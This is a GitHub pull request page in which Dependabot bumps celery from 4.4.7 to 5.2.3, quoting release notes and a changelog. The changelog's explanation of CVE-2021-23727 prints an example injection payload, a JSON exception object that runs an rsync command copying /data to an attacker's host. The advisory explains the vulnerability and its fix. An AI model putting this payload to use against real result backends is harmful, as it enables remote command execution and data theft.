search

glidernet / ogn-python

A gateway with built-in database for the Open Glider Network (OGN)
http://glidernet.org
GNU Affero General Public License v3.0
17 stars 4 forks source link

Bump celery from 4.4.7 to 5.2.3 #126

Closed dependabot[bot] closed 2 years ago

dependabot[bot] commented 2 years ago

Bumps celery from 4.4.7 to 5.2.3.

Release notes

Sourced from celery's releases.

v5.2.3

Release date: 2021-12-29 12:00 P.M UTC+6:00

Release by: Asif Saif Uddin

  • Allow redis >= 4.0.2.
  • Upgrade minimum required pymongo version to 3.11.1.
  • tested pypy3.8 beta (#6998).
  • Split Signature.or into subclasses' or (#7135).
  • Prevent duplication in event loop on Consumer restart.
  • Restrict setuptools>=59.1.1,<59.7.0.
  • Kombu bumped to v5.2.3
  • py-amqp bumped to v5.0.9
  • Some docs & CI improvements.

What's Changed

New Contributors

... (truncated)

Changelog

Sourced from celery's changelog.

5.2.3

:release-date: 2021-12-29 12:00 P.M UTC+6:00 :release-by: Asif Saif Uddin

  • Allow redis >= 4.0.2.
  • Upgrade minimum required pymongo version to 3.11.1.
  • tested pypy3.8 beta (#6998).
  • Split Signature.or into subclasses' or (#7135).
  • Prevent duplication in event loop on Consumer restart.
  • Restrict setuptools>=59.1.1,<59.7.0.
  • Kombu bumped to v5.2.3
  • py-amqp bumped to v5.0.9
  • Some docs & CI improvements.

.. _version-5.2.2:

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so:

    .. code-block:: python

      {
        "exc_module": "os",
        'exc_type': "system",
        "exc_message": "rsync /data attacker@192.168.56.100:~/data"
  }

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has

... (truncated)

Commits
  • 56275f5 Bump version: 5.2.2 → 5.2.3
  • 9532c73 Changelog for v5.2.3
  • d4b97be try newer bumped versions (#7194)
  • c79d5c7 try to make linters happy (#7193)
  • d497b3e [pre-commit.ci] pre-commit autoupdate
  • 815e652 Add changelog for 5.2.2.
  • 7384b14 Fix changelog formatting.
  • 5c3f155 Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).
  • 527458d prevent duplication in event loop on Consumer restart
  • a5f140b Add changelog to PyPI sidebar
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
dependabot[bot] commented 2 years ago

Superseded by #143.